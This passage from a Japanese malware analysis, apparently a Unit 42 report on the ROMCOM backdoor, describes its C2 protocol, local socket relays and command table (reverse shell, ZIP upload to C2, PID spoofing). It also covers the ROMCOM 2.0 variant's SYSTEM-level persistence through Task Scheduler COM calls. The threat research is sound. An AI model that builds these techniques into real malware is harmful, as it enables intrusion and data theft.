API\u95a2\u6570\u3092\u4f7f\u3044\u3001\u30ec\u30b9\u30dd\u30f3\u30b9\u3092\u53d7\u4fe1\u3059\u308b\u307e\u3067\u30b5\u30fc\u30d0\u30fc\u306b\u30b7\u30b9\u30c6\u30e0\u60c5\u5831\u3068\u30e6\u30fc\u30b6\u30fc\u60c5\u5831\u306e\u518d\u9001\u4fe1\u3092\u8a66\u307f\u307e\u3059\u3002\u30ec\u30b9\u30dd\u30f3\u30b9\u3092\u53d7\u3051\u3068\u308b\u3068\u3001HTTP\u30ec\u30b9\u30dd\u30f3\u30b9\u306e\u30d1\u30fc\u30b9\u3068\u304a\u306a\u3058\u65b9\u6cd5\u3067\u30d1\u30fc\u30b9\u3055\u308c\u307e\u3059\u3002<\/p>\n<figure id=\"attachment_124363\" aria-describedby=\"caption-attachment-124363\" style=\"width: 900px\" class=\"wp-caption aligncenter\"><img  class=\"wp-image-124364 lozad\"  data-src=\"https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2022\/08\/word-image-23.png\" alt=\"ICMP\u30ea\u30af\u30a8\u30b9\u30c8\u6a5f\u80fd\u3002\u30ec\u30b9\u30dd\u30f3\u30b9\u3092\u53d7\u3051\u3068\u308b\u3068\u3001HTTP\u30ec\u30b9\u30dd\u30f3\u30b9\u306e\u30d1\u30fc\u30b9\u3068\u304a\u306a\u3058\u65b9\u6cd5\u3067\u30d1\u30fc\u30b9\u3055\u308c\u307e\u3059\u3002\" width=\"900\" height=\"560\" \/><figcaption id=\"caption-attachment-124363\" class=\"wp-caption-text\">\u56f322. ICMP\u30ea\u30af\u30a8\u30b9\u30c8\u6a5f\u80fd\u3002<\/figcaption><\/figure>\n<p>\u30ec\u30b9\u30dd\u30f3\u30b9\u306e4\u30d0\u30a4\u30c8\u76ee\u304c9\u306e\u5834\u5408\u3001ROMCOM\u306f120,000 ms(120\u79d2)\u30b9\u30ea\u30fc\u30d7\u3057\u307e\u3059\u3002\u30ec\u30b9\u30dd\u30f3\u30b9\u306e4\u30d0\u30a4\u30c8\u76ee\u304c5\u306e\u5834\u5408\u3001\u30ec\u30b9\u30dd\u30f3\u30b9\u306b\u306f\u30d5\u30a9\u30ed\u30fc\u30a2\u30c3\u30d7\u30c7\u30fc\u30bf\u306e\u30b5\u30a4\u30ba\u304c\u542b\u307e\u308c\u3066\u3044\u307e\u3059\u3002\u3053\u306e\u305f\u3081\u3001\u307e\u305a\u306f\u30e1\u30e2\u30ea\u3092\u78ba\u4fdd\u3057\u3001\u305d\u306e\u5f8c\u3001\u6700\u5f8c\u306b\u4f7f\u7528\u3055\u308c\u305f\u30d7\u30ed\u30c8\u30b3\u30eb\u306b\u5fdc\u3058\u3066HTTP\u304bICMP\u3067C2\u306b2\u56de\u76ee\u306e\u30ea\u30af\u30a8\u30b9\u30c8\u3092\u884c\u3044\u307e\u3059\u3002<\/p>\n<p>\u3053\u306e2\u56de\u76ee\u306e\u30ea\u30af\u30a8\u30b9\u30c8\u3067\u53d7\u4fe1\u3057\u305f\u30c7\u30fc\u30bf\u306f\u3042\u308b\u95a2\u6570\u306b\u6e21\u3055\u308c\u307e\u3059\u3002\u3053\u306e\u95a2\u6570\u306f\u30ed\u30fc\u30ab\u30eb\u30a2\u30c9\u30ec\u30b9<span style=\"font-family: 'courier new', courier, monospace;\">127.0.0[.]3<\/span>\u306b5555\u301c5600\u306e\u9593\u306e\u30dd\u30fc\u30c8\u3067\u63a5\u7d9a\u3057\u3001\u81ea\u5206\u306b\u6e21\u3055\u308c\u305f\u30c7\u30fc\u30bf\u3092C2\u306b\u9001\u4fe1\u3057\u307e\u3059\u3002\u305d\u306e\u5f8c\u3053\u306e\u95a2\u6570\u304creturn\u3059\u308b\u3068\u3001ROMCOM\u306f<span style=\"font-family: 'courier new', courier, monospace;\">127.0.0[.]2:5555<\/span>\u306b\u30d0\u30a4\u30f3\u30c9\u3057\u3066\u305d\u3053\u3067\u63a5\u7d9a\u3092\u5f85\u3061\u53d7\u3051\u3001\u53d7\u3051\u53d6\u3063\u305f\u30c7\u30fc\u30bf\u304c\u3042\u308c\u3070C2\u30b5\u30fc\u30d0\u30fc\u306b\u8ee2\u9001\u3057\u307e\u3059\u3002<\/p>\n<p><figure id=\"attachment_124365\" aria-describedby=\"caption-attachment-124365\" style=\"width: 900px\" class=\"wp-caption aligncenter\"><img  class=\"wp-image-124366 lozad\"  data-src=\"https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2022\/08\/word-image-24.png\" alt=\"\u305d\u306e\u5f8c\u3053\u306e\u95a2\u6570\u304creturn\u3059\u308b\u3068\u3001ROMCOM\u306f127.0.0[.]2:5555\u306b\u30d0\u30a4\u30f3\u30c9\u3057\u3066\u305d\u3053\u3067\u63a5\u7d9a\u3092\u5f85\u3061\u53d7\u3051\u3001\u53d7\u3051\u53d6\u3063\u305f\u30c7\u30fc\u30bf\u304c\u3042\u308c\u3070C2\u30b5\u30fc\u30d0\u30fc\u306b\u8ee2\u9001\u3057\u307e\u3059\u3002\" width=\"900\" height=\"834\" \/><figcaption id=\"caption-attachment-124365\" class=\"wp-caption-text\">\u56f323. ROMCOM\u306estartWorker\u30d7\u30ed\u30bb\u30b9\u304c\u30db\u30b9\u30c8\u3057\u305f\u30ed\u30fc\u30ab\u30eb\u30bd\u30b1\u30c3\u30c8\u30b5\u30fc\u30d0\u30fc\u306b\u63a5\u7d9a\u3059\u308b<\/figcaption><\/figure>\u3068\u3044\u3046\u3053\u3068\u3067\u3001\u6b21\u306f\u305d\u306e<span style=\"font-family: 'courier new', courier, monospace;\">startWorker<\/span>\u306e\u30a8\u30af\u30b9\u30dd\u30fc\u30c8\u306e\u8aac\u660e\u3092\u3057\u307e\u3059\u3002<\/p>\n<h3><a id=\"post-124395-_eciz16ngbfwq\"><\/a><span style=\"font-family: 'courier new', courier, monospace;\">startWorker<\/span>\u306e\u30a8\u30af\u30b9\u30dd\u30fc\u30c8<\/h3>\n<p><span style=\"font-family: 'courier new', courier, monospace;\">startWorker<\/span>\u306e\u30a8\u30af\u30b9\u30dd\u30fc\u30c8\u306f\u6587\u5b57\u5217<span style=\"font-family: 'courier new', courier, monospace;\">_file<\/span>\u3092ROMCOM\u306emain\u95a2\u6570\u306b\u6e21\u3057\u307e\u3059\u3002\u3053\u306e\u7d50\u679c\u3001<span style=\"font-family: 'courier new', courier, monospace;\">ServiceMain<\/span>\u30a8\u30af\u30b9\u30dd\u30fc\u30c8\u3067\u5b9f\u884c\u3055\u308c\u305f\u30b3\u30fc\u30c9\u306f\u30b9\u30ad\u30c3\u30d7\u3055\u308c\u307e\u3059\u3002\u305d\u306e\u4ee3\u308f\u308a<span style=\"font-family: 'courier new', courier, monospace;\">startWorker<\/span>\u306f\u307e\u305a\u30bd\u30b1\u30c3\u30c8\u30aa\u30d6\u30b8\u30a7\u30af\u30c8\u3092\u958b\u3044\u3066<span style=\"font-family: 'courier new', courier, monospace;\">IP 127.0.0[.]<\/span>3:5555\u306b\u30d0\u30a4\u30f3\u30c9\u3057\u3088\u3046\u3068\u3057\u307e\u3059\u3002\u3053\u306e\u30dd\u30fc\u30c8\u304c\u3059\u3067\u306b\u4f7f\u7528\u3055\u308c\u3066\u3044\u308b\u5834\u5408\u3001ROMCOM\u306f\u30dd\u30fc\u30c8\u756a\u53f7\u3092\u30a4\u30f3\u30af\u30ea\u30e1\u30f3\u30c8\u3057\u3066\u518d\u5ea6\u30d0\u30a4\u30f3\u30c9\u3092\u8a66\u307f\u307e\u3059\u3002\u3053\u306e\u30eb\u30fc\u30d7\u306fROMCOM\u304c\u672a\u4f7f\u7528\u306e\u30dd\u30fc\u30c8\u306b\u30d0\u30a4\u30f3\u30c9\u3055\u308c\u308b\u304b\u3001\u30dd\u30fc\u30c8\u756a\u53f7\u306e\u5024\u304c5600\u306b\u9054\u3059\u308b\u307e\u3067\u7d9a\u304d\u307e\u3059\u30025600\u306b\u9054\u3057\u305f\u5834\u5408\u306f5554\u306b\u8a2d\u5b9a\u3057\u3066\u304b\u3089\u30eb\u30fc\u30d7\u3092\u518d\u958b\u3057\u307e\u3059\u3002<\/p>\n<p><figure id=\"attachment_124367\" aria-describedby=\"caption-attachment-124367\" style=\"width: 900px\" class=\"wp-caption aligncenter\"><img  class=\"wp-image-124368 lozad\"  data-src=\"https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2022\/08\/word-image-25.png\" alt=\"\u30ed\u30fc\u30ab\u30eb\u30bd\u30b1\u30c3\u30c8\u30b5\u30fc\u30d0\u30fc\u306e\u8a2d\u5b9a\u3002\u30b3\u30e1\u30f3\u30c8\u3067\u300cstartWorker export\u300d\u3068\u300c127[.]0[.]0[.]3\u300d\u3092\u30cf\u30a4\u30e9\u30a4\u30c8\" width=\"900\" height=\"697\" \/><figcaption id=\"caption-attachment-124367\" class=\"wp-caption-text\">\u56f324. \u30ed\u30fc\u30ab\u30eb\u30bd\u30b1\u30c3\u30c8\u30b5\u30fc\u30d0\u30fc\u306e\u8a2d\u5b9a\u3002<\/figcaption><\/figure>\u3046\u307e\u304f\u672a\u4f7f\u7528\u30dd\u30fc\u30c8\u306b\u30d0\u30a4\u30f3\u30c9\u3055\u308c\u305fROMCOM\u306f\u3001\u7740\u4fe1\u3059\u308b\u63a5\u7d9a\u3092\u30ea\u30c3\u30b9\u30f3\u3057\u306f\u3058\u3081\u307e\u3059\u3002\u3053\u308c\u306b\u5bfe\u3057\u3066\u63a5\u7d9a\u3092\u884c\u3046\u306e\u304c<span style=\"font-family: 'courier new', courier, monospace;\">ServiceMain<\/span>\u306e\u30a8\u30af\u30b9\u30dd\u30fc\u30c8\u3092\u5b9f\u884c\u3057\u305f\u30d7\u30ed\u30bb\u30b9\u3067\u3059\u3002\u63a5\u7d9a\u304c\u7740\u4fe1\u3059\u308b\u3068\u3001\u63a5\u7d9a\u3057\u3066\u304d\u305f\u30af\u30e9\u30a4\u30a2\u30f3\u30c8\u304b\u3089\u306e\u30ea\u30af\u30a8\u30b9\u30c8\u3092\u51e6\u7406\u3059\u308b\u30b9\u30ec\u30c3\u30c9\u304c\u751f\u6210\u3055\u308c\u307e\u3059\u3002<\/p>\n<figure id=\"attachment_124369\" aria-describedby=\"caption-attachment-124369\" style=\"width: 900px\" class=\"wp-caption aligncenter\"><img  class=\"wp-image-124370 lozad\"  data-src=\"https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2022\/08\/word-image-26.png\" alt=\"\u30b3\u30de\u30f3\u30c9\u30cf\u30f3\u30c9\u30e9\u3002\u4f7f\u7528\u53ef\u80fd\u306a\u30b3\u30de\u30f3\u30c9\u4e00\u89a7\u306f\u88682\u306b\u793a\u3059\u901a\u308a\u3002 \" width=\"900\" height=\"681\" \/><figcaption id=\"caption-attachment-124369\" class=\"wp-caption-text\">\u56f325 \u30b3\u30de\u30f3\u30c9\u30cf\u30f3\u30c9\u30e9\u3002<\/figcaption><\/figure>\n<p>\u4ee5\u4e0b\u306e\u88682\u306b\u4f7f\u7528\u53ef\u80fd\u306a\u30b3\u30de\u30f3\u30c9\u3068\u305d\u306e\u76ee\u7684\u3092\u793a\u3057\u307e\u3059\u3002<\/p>\n<table style=\"width: 82.5001%; height: 616px;\">\n<tbody>\n<tr style=\"height: 56px;\">\n<td style=\"width: 14.104%; height: 56px;\"><span style=\"font-weight: 400;\">\u30b3\u30de\u30f3\u30c9\u306e\u5024<\/span><\/td>\n<td style=\"width: 116.116%; height: 56px;\"><span style=\"font-weight: 400;\">\u76ee\u7684<\/span><\/td>\n<\/tr>\n<tr style=\"height: 56px;\">\n<td style=\"width: 14.104%; height: 56px;\"><span style=\"font-weight: 400;\">1<\/span><\/td>\n<td style=\"width: 116.116%; height: 56px;\"><span style=\"font-weight: 400;\">\u63a5\u7d9a\u3055\u308c\u3066\u3044\u308b\u30c9\u30e9\u30a4\u30d6\u306e\u60c5\u5831\u3092\u8fd4\u3059<\/span><\/td>\n<\/tr>\n<tr style=\"height: 56px;\">\n<td style=\"width: 14.104%; height: 56px;\"><span style=\"font-weight: 400;\">2<\/span><\/td>\n<td style=\"width: 116.116%; height: 56px;\"><span style=\"font-weight: 400;\">\u6307\u5b9a\u3055\u308c\u305f\u30c7\u30a3\u30ec\u30af\u30c8\u30ea\u306e\u30d5\u30a1\u30a4\u30eb\u4e00\u89a7\u3092\u8fd4\u3059<\/span><\/td>\n<\/tr>\n<tr style=\"height: 56px;\">\n<td style=\"width: 14.104%; height: 56px;\"><span style=\"font-weight: 400;\">3<\/span><\/td>\n<td style=\"width: 116.116%; height: 56px;\"><span style=\"font-weight: 400; font-family: 'courier new', courier, monospace;\">%ProgramData%<\/span><span style=\"font-weight: 400;\">\u30d5\u30a9\u30eb\u30c0\u5185\u3067<\/span><span style=\"font-weight: 400; font-family: 'courier new', courier, monospace;\">svchelper.exe<\/span><span style=\"font-weight: 400;\">\u3068\u3044\u3046\u540d\u524d\u3067<span style=\"font-weight: 400;\">\u30ea\u30d0\u30fc\u30b9\u30b7\u30a7\u30eb\u3092<\/span>\u8d77\u52d5\u3059\u308b<\/span><\/td>\n<\/tr>\n<tr style=\"height: 56px;\">\n<td style=\"width: 14.104%; height: 56px;\"><span style=\"font-weight: 400;\">4<\/span><\/td>\n<td style=\"width: 116.116%; height: 56px;\"><span style=\"font-weight: 400; font-family: 'courier new', courier, monospace;\">IShellDispatch<\/span><span style=\"font-weight: 400;\">\u3092\u4f7f\u3063\u3066\u30d5\u30a1\u30a4\u30eb\u3092\u30b3\u30d4\u30fc\u3057<\/span>\u3001<span style=\"font-weight: 400;\">C2\u306b\u30c7\u30fc\u30bf\u3092ZIP\u30d5\u30a1\u30a4\u30eb\u3068\u3057\u3066\u30a2\u30c3\u30d7\u30ed\u30fc\u30c9\u3059\u308b <\/span><\/td>\n<\/tr>\n<tr style=\"height: 56px;\">\n<td style=\"width: 14.104%; height: 56px;\"><span style=\"font-weight: 400;\">5<\/span><\/td>\n<td style=\"width: 116.116%; height: 56px;\">\u30c7\u30fc\u30bf\u3092\u30c0\u30a6\u30f3\u30ed\u30fc\u30c9\u3057\u3066<span style=\"font-weight: 400; font-family: 'courier new', courier, monospace;\">%ProgramData%<\/span><span style=\"font-weight: 400;\">\u30d5\u30a9\u30eb\u30c0\u5185\u306e<\/span><span style=\"font-weight: 400; font-family: 'courier new', courier, monospace;\">worker.txt<\/span><span style=\"font-weight: 400;\"><span style=\"font-weight: 400;\">\u3068\u3044\u3046\u30d5\u30a1\u30a4\u30eb\u306b\u66f8\u304d\u8fbc\u3080<\/span><\/span><\/td>\n<\/tr>\n<tr style=\"height: 56px;\">\n<td style=\"width: 14.104%; height: 56px;\"><span style=\"font-weight: 400;\">6<\/span><\/td>\n<td style=\"width: 116.116%; height: 56px;\"><span style=\"font-weight: 400;\">\u6307\u5b9a\u3057\u305f\u30d5\u30a1\u30a4\u30eb\u3092\u524a\u9664\u3059\u308b<\/span><\/td>\n<\/tr>\n<tr style=\"height: 56px;\">\n<td style=\"width: 14.104%; height: 56px;\"><span style=\"font-weight: 400;\">7<\/span><\/td>\n<td style=\"width: 116.116%; height: 56px;\"><span style=\"font-weight: 400;\">\u6307\u5b9a\u3057\u305f\u30c7\u30a3\u30ec\u30af\u30c8\u30ea\u3092\u524a\u9664\u3059\u308b<\/span><\/td>\n<\/tr>\n<tr style=\"height: 56px;\">\n<td style=\"width: 14.104%; height: 56px;\"><span style=\"font-weight: 400;\">8<\/span><\/td>\n<td style=\"width: 116.116%; height: 56px;\"><span style=\"font-weight: 400;\">PID\u3092\u507d\u88c5(\u30b9\u30d7\u30fc\u30d5\u30a3\u30f3\u30b0)\u3057\u3066\u30d7\u30ed\u30bb\u30b9\u3092\u751f\u6210\u3059\u308b<\/span><\/td>\n<\/tr>\n<tr style=\"height: 56px;\">\n<td style=\"width: 14.104%; height: 56px;\"><span style=\"font-weight: 400;\">9<\/span><\/td>\n<td style=\"width: 116.116%; height: 56px;\">\u3053\u306e\u30b3\u30de\u30f3\u30c9\u306e\u5bfe\u8c61\u306f<span style=\"font-weight: 400; font-family: 'courier new', courier, monospace;\">ServiceMain<\/span><span style=\"font-weight: 400;\">\u306e\u307f\u3002\u3053\u306e\u30b3\u30de\u30f3\u30c9\u3092C2\u304b\u3089\u53d7\u3051\u53d6\u308b\u3068\u30d7\u30ed\u30bb\u30b9\u306f120,000 ms (120\u79d2)\u30b9\u30ea\u30fc\u30d7\u3059\u308b<\/span><\/td>\n<\/tr>\n<tr style=\"height: 56px;\">\n<td style=\"width: 14.104%; height: 56px;\"><span style=\"font-weight: 400;\">10<\/span><\/td>\n<td style=\"width: 116.116%; height: 56px;\"><span style=\"font-weight: 400;\">\u5b9f\u884c\u4e2d\u306e\u30d7\u30ed\u30bb\u30b9\u3092\u30a4\u30c6\u30ec\u30fc\u30c8\u3057\u3066PID\u306e\u4e00\u89a7\u3092\u53ce\u96c6\u3059\u308b<\/span><\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<p style=\"text-align: center;\"><span style=\"color: #999999; font-size: 10pt;\"><em>\u88682 \u30b5\u30dd\u30fc\u30c8\u3055\u308c\u308b\u30d0\u30c3\u30af\u30c9\u30a2\u30b3\u30de\u30f3\u30c9\u3068\u305d\u306e\u6a5f\u80fd<\/em><\/span><\/p>\n<p>\u3088\u3046\u3059\u308b\u306b\u3053\u306e\u7279\u5b9a\u306e\u5b9f\u884c\u5f62\u614b\u3067\u306f\u3001\u307e\u305aROMCOM\u30b5\u30f3\u30d7\u30eb\u3092\u30b5\u30fc\u30d3\u30b9\u3068\u3057\u3066\u5b9f\u884c\u3057\u3001HTTP\/ICMP\u30ea\u30af\u30a8\u30b9\u30c8\u3067C2\u30b5\u30fc\u30d0\u30fc\u3068\u30b3\u30de\u30f3\u30c9\u3092\u3084\u308a\u3068\u308a\u3057\u307e\u3059\u3002\u305d\u3053\u3067\u5f97\u3089\u308c\u305f\u30b3\u30de\u30f3\u30c9\u306f\u3001<span style=\"font-family: 'courier new', courier, monospace;\">rundll32.exe<\/span>\u7d4c\u7531\u3067\u5b9f\u884c\u3055\u308c\u305fROMCOM\u30b5\u30f3\u30d7\u30eb\u306b\u6e21\u3055\u308c\u307e\u3059\u3002\u6b21\u306b\u3053\u308c\u3089\u306e\u30b3\u30de\u30f3\u30c9\u304c\u5b9f\u884c\u3055\u308c\u3001\u305d\u306e\u5b9f\u884c\u7d50\u679c\u304c\u3001\u30b5\u30fc\u30d3\u30b9\u3068\u3057\u3066\u5b9f\u884c\u3055\u308c\u3066\u3044\u308bROMCOM\u306e\u30da\u30a4\u30ed\u30fc\u30c9\u306b\u8fd4\u3055\u308c\u307e\u3059\u3002\u6700\u5f8c\u306b\u3001HTTP\/ICMP\u30ea\u30af\u30a8\u30b9\u30c8\u7d4c\u7531\u3067\u7d50\u679c\u3092C2\u30b5\u30fc\u30d0\u30fc\u306b\u6e21\u3057\u307e\u3059\u3002<\/p>\n<h3><a id=\"post-124395-_6a9q4c9ewacl\"><\/a>ROMCOM 2.0<\/h3>\n<p>ROMCOM\u306f\u3044\u307e\u3082\u6d3b\u767a\u306b\u958b\u767a\u304c\u7d9a\u3044\u3066\u3044\u308b\u3088\u3046\u3067\u3059\u30022022\u5e746\u670820\u65e5\u306b\u985e\u4f3c\u30b5\u30f3\u30d7\u30eb\u304cVirusTotal(VT)\u306b\u30a2\u30c3\u30d7\u30ed\u30fc\u30c9\u3055\u308c\u305f\u3053\u3068\u3092\u7a81\u304d\u6b62\u3081\u305f\u306e\u3067\u3059\u304c\u3001\u3053\u306e\u30b5\u30f3\u30d7\u30eb\u306f\u5148\u306e\u3082\u306e\u3068\u540c\u4e00\u306eC2\u30b5\u30fc\u30d0\u30fc\u3068\u901a\u4fe1\u3057\u3066\u3044\u307e\u3057\u305f\u3002<\/p>\n<p>\u5143\u306e\u30b5\u30f3\u30d7\u30eb\u306e\u65e5\u4ed8\u304c2022\u5e744\u670810\u65e5\u306a\u306e\u306b\u5bfe\u3057\u3001\u4eca\u56de\u306e\u30b5\u30f3\u30d7\u30eb\u306f\u30d5\u30a1\u30a4\u30eb\u30d8\u30c3\u30c0\u306e\u30bf\u30a4\u30e0\u30b9\u30bf\u30f3\u30d7\u304c2022\u5e745\u670828\u65e5\u3067\u3001\u30b5\u30a4\u30ba\u306f\u304a\u3088\u305d400KB\u5927\u304d\u304f\u306a\u3063\u3066\u3044\u307e\u3057\u305f\u3002<span style=\"font-family: 'courier new', courier, monospace;\">startWorker<\/span>\u3068<span style=\"font-family: 'courier new', courier, monospace;\">ServiceMain<\/span>\u306e\u30a8\u30af\u30b9\u30dd\u30fc\u30c8\u306f\u4ee5\u524d\u3068\u304a\u306a\u3058\u3067\u3059\u304c\u3001\u4eca\u56de\u306f<span style=\"font-family: 'courier new', courier, monospace;\">startInet<\/span>\u3068\u3044\u30463\u3064\u3081\u306e\u30a8\u30af\u30b9\u30dd\u30fc\u30c8\u304c\u542b\u307e\u308c\u3066\u3044\u307e\u3057\u305f\u3002\u307e\u305f\u3001\u30b5\u30f3\u30d7\u30eb\u5185\u306b\u542b\u307e\u308c\u308b\u30c7\u30d0\u30c3\u30b0\u6587\u5b57\u5217\u304c\u5897\u3048\u3066\u3044\u308b\u70b9\u306b\u3082\u7740\u76ee\u3059\u3079\u304d\u3067\u3057\u3087\u3046\u3002\u540c\u30b5\u30f3\u30d7\u30eb\u306f\u958b\u767a\u5b8c\u4e86\u524d\u306b\u30a2\u30f3\u30c1\u30a6\u30a4\u30eb\u30b9\u30bd\u30d5\u30c8\u30a6\u30a7\u30a2\u306b\u691c\u51fa\u3055\u308c\u3066\u3044\u305f\u53ef\u80fd\u6027\u304c\u8003\u3048\u3089\u308c\u307e\u3059\u3002\u5f53\u8a72VirusTotal\u30a2\u30c3\u30d7\u30ed\u30fc\u30c0\u30fcID (<span style=\"font-family: 'courier new', courier, monospace;\">22b3c7b0<\/span>)\u304c\u904e\u53bb\u306b\u6570\u767e\u4e07\u4ef6\u306e\u30d5\u30a1\u30a4\u30eb\u3092\u30a2\u30c3\u30d7\u30ed\u30fc\u30c9\u3057\u3066\u3044\u308b\u70b9\u3082\u3001\u3053\u306e\u63a8\u6e2c\u3092\u88cf\u4ed8\u3051\u308b\u3082\u306e\u3068\u306a\u3063\u3066\u3044\u307e\u3059\u3002\u3042\u308b\u4e00\u500b\u4eba\u81ea\u3089\u304c\u3053\u308c\u307b\u3069\u306e\u6570\u3092\u30a2\u30c3\u30d7\u30ed\u30fc\u30c9\u3057\u305f\u53ef\u80fd\u6027\u306f\u4f4e\u3044\u3067\u3057\u3087\u3046\u3002<\/p>\n<p>\u3053\u306e\u30d0\u30fc\u30b8\u30e7\u30f3\u3067\u306f\u3001<span style=\"font-family: 'courier new', courier, monospace;\">ServiceMain<\/span>\u306fROMCOM 2.0\u306e\u30b5\u30f3\u30d7\u30eb\u30922\u56de\u5b9f\u884c\u3057\u3066\u3044\u307e\u3057\u305f\u3002\u6700\u521d\u306b<span style=\"font-family: 'courier new', courier, monospace;\">startInet<\/span>\u306e\u30a8\u30af\u30b9\u30dd\u30fc\u30c8\u3092\u5b9f\u884c\u3057\u3001\u6b21\u306b<span style=\"font-family: 'courier new', courier, monospace;\">startWorker<\/span>\u306e\u30a8\u30af\u30b9\u30dd\u30fc\u30c8\u3092\u5b9f\u884c\u3057\u3066\u3044\u307e\u3057\u305f\u3002\u305f\u3060\u3057\u5143\u306eROMCOM\u30b5\u30f3\u30d7\u30eb\u306e\u3088\u3046\u306b\u5358\u7d14\u306b<span style=\"font-family: 'courier new', courier, monospace;\">CreateProcessA<\/span>\u3092\u547c\u3073\u51fa\u3059\u306e\u3067\u306f\u306a\u304f\u3001\u5b9f\u884c\u306bCOM\u30aa\u30d6\u30b8\u30a7\u30af\u30c8\u3092\u597d\u3093\u3067\u4f7f\u3063\u3066\u3044\u308b\u70b9\u304c\u3061\u304c\u3063\u3066\u3044\u307e\u3057\u305f\u3002<\/p>\n<figure id=\"attachment_124371\" aria-describedby=\"caption-attachment-124371\" style=\"width: 900px\" class=\"wp-caption aligncenter\"><img  class=\"wp-image-124372 lozad\"  data-src=\"https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2022\/08\/word-image-27.png\" alt=\"startInet\u306e\u30a8\u30af\u30b9\u30dd\u30fc\u30c8\u3068startWorker\u306e\u30a8\u30af\u30b9\u30dd\u30fc\u30c8\u3092\u5b9f\u884c\u3057\u3066\u3044\u308b\u3068\u3053\u308d\u3002\" width=\"900\" height=\"172\" \/><figcaption id=\"caption-attachment-124371\" class=\"wp-caption-text\">\u56f326. startInet\u306e\u30a8\u30af\u30b9\u30dd\u30fc\u30c8\u3068startWorker\u306e\u30a8\u30af\u30b9\u30dd\u30fc\u30c8\u3092\u5b9f\u884c\u3057\u3066\u3044\u308b\u3068\u3053\u308d\u3002<\/figcaption><\/figure>\n<p>\u5404\u30d7\u30ed\u30bb\u30b9\u306f\u3001\u30bf\u30b9\u30af\u30b9\u30b1\u30b8\u30e5\u30fc\u30e9\u306e\u63d0\u4f9b\u3059\u308b\u3055\u307e\u3056\u307e\u306aCOM\u30a4\u30f3\u30bf\u30d5\u30a7\u30fc\u30b9\u3092\u4f7f\u3044\u3001\u30b7\u30b9\u30c6\u30e0\u30bf\u30b9\u30af\u3068\u3057\u3066\u751f\u6210\u3055\u308c\u307e\u3059\u3002ROMCOM2.0\u3067\u306f\u307e\u305a<span style=\"font-family: 'courier new', courier, monospace;\">ITaskService-&gt;GetFolder<\/span>\u3092\u547c\u3073\u51fa\u3057\u3066\u30bf\u30b9\u30af\u306e\u30eb\u30fc\u30c8\u30d5\u30a9\u30eb\u30c0\u3092\u53d6\u5f97\u3057\u307e\u3059\u3002\u305d\u306e\u5f8c\u3001\u4f5c\u6210\u5bfe\u8c61\u306e\u30bf\u30b9\u30af\u3068\u540c\u540d\u306e\u65e2\u5b58\u30bf\u30b9\u30af\u304c\u3042\u308c\u3070\u3001\u305d\u308c\u3089\u3092<span style=\"font-family: 'courier new', courier, monospace;\">ITaskFolder-&gt;DeleteTask<\/span>\u3067\u524a\u9664\u3057\u307e\u3059\u3002<\/p>\n<table style=\"width: 82.6488%;\">\n<tbody>\n<tr>\n<td style=\"width: 15.2574%;\"><span style=\"font-weight: 400;\">\u30bf\u30b9\u30af\u540d<\/span><\/td>\n<td style=\"width: 182.745%;\"><span style=\"font-weight: 400;\">\u30a8\u30af\u30b9\u30dd\u30fc\u30c8<\/span><\/td>\n<\/tr>\n<tr>\n<td style=\"width: 15.2574%;\"><span style=\"font-weight: 400; font-family: 'courier new', courier, monospace;\">task7<\/span><\/td>\n<td style=\"width: 182.745%;\"><span style=\"font-weight: 400; font-family: 'courier new', courier, monospace;\">startInet<\/span><\/td>\n<\/tr>\n<tr>\n<td style=\"width: 15.2574%;\"><span style=\"font-weight: 400; font-family: 'courier new', courier, monospace;\">task6<\/span><\/td>\n<td style=\"width: 182.745%;\"><span style=\"font-weight: 400; font-family: 'courier new', courier, monospace;\">startWorker<\/span><\/td>\n<\/tr>\n<tr>\n<td style=\"width: 15.2574%;\"><span style=\"font-weight: 400; font-family: 'courier new', courier, monospace;\">task1<\/span><\/td>\n<td style=\"width: 182.745%;\"><span style=\"font-weight: 400; font-family: 'courier new', courier, monospace;\">startWorker<\/span><span style=\"font-weight: 400;\"> (<\/span><span style=\"font-weight: 400; font-family: 'courier new', courier, monospace;\">startInet<\/span><span style=\"font-weight: 400;\">\u306e\u5b9f\u884c\u6642\u306b\u307e\u3060\u5b9f\u884c\u3055\u308c\u3066\u3044\u306a\u3044\u5834\u5408)<\/span><\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<p style=\"text-align: center;\"><span style=\"font-size: 10pt; color: #999999;\">\u88683 \u30bf\u30b9\u30af\u30b9\u30b1\u30b8\u30e5\u30fc\u30e9\u306eCOM\u30a4\u30f3\u30bf\u30d5\u30a7\u30fc\u30b9\u7d4c\u7531\u3067\u767b\u9332\u3055\u308c\u308b\u30bf\u30b9\u30af\u540d<\/span><\/p>\n<p><span style=\"font-family: 'courier new', courier, monospace;\">ITaskService-&gt;NewTask<\/span>\u3067\u7a7a\u306e\u30bf\u30b9\u30af\u304c\u4f5c\u6210\u3055\u308c\u3001\u305d\u306e\u5f8c\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30d7\u30ea\u30f3\u30b7\u30d1\u30eb\u304c\u4fee\u6b63\u3055\u308c\u307e\u3059\u3002<span style=\"font-family: 'courier new', courier, monospace;\">IPrincipal-&gt;put_Id<\/span>\u3067\u8b58\u5225\u5b50\u304c<span style=\"font-family: 'courier new', courier, monospace;\">NT AUTHORITY\\\\SYSTEM<\/span>\u306b\u3001<span style=\"font-family: 'courier new', courier, monospace;\">IPrincipal-&gt;LogonType<\/span>\u3067\u30ed\u30b0\u30aa\u30f3\u306e\u7a2e\u985e\u304c<span style=\"font-family: 'courier new', courier, monospace;\">TASK_LOGON_INTERACTIVE_TOKEN<\/span>\u306b\u3001<span style=\"font-family: 'courier new', courier, monospace;\">IPrincipal-&gt;put_RunLevel<\/span>\u3067RunLevel\u30d7\u30ed\u30d1\u30c6\u30a3\u304c<span style=\"font-family: 'courier new', courier, monospace;\">TASK_RUNLEVEL_HIGHEST<\/span>\u306b\u8a2d\u5b9a\u3055\u308c\u307e\u3059\u3002<\/p>\n<figure id=\"attachment_124373\" aria-describedby=\"caption-attachment-124373\" style=\"width: 900px\" class=\"wp-caption aligncenter\"><img  class=\"wp-image-124374 lozad\"  data-src=\"https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2022\/08\/word-image-28.png\" 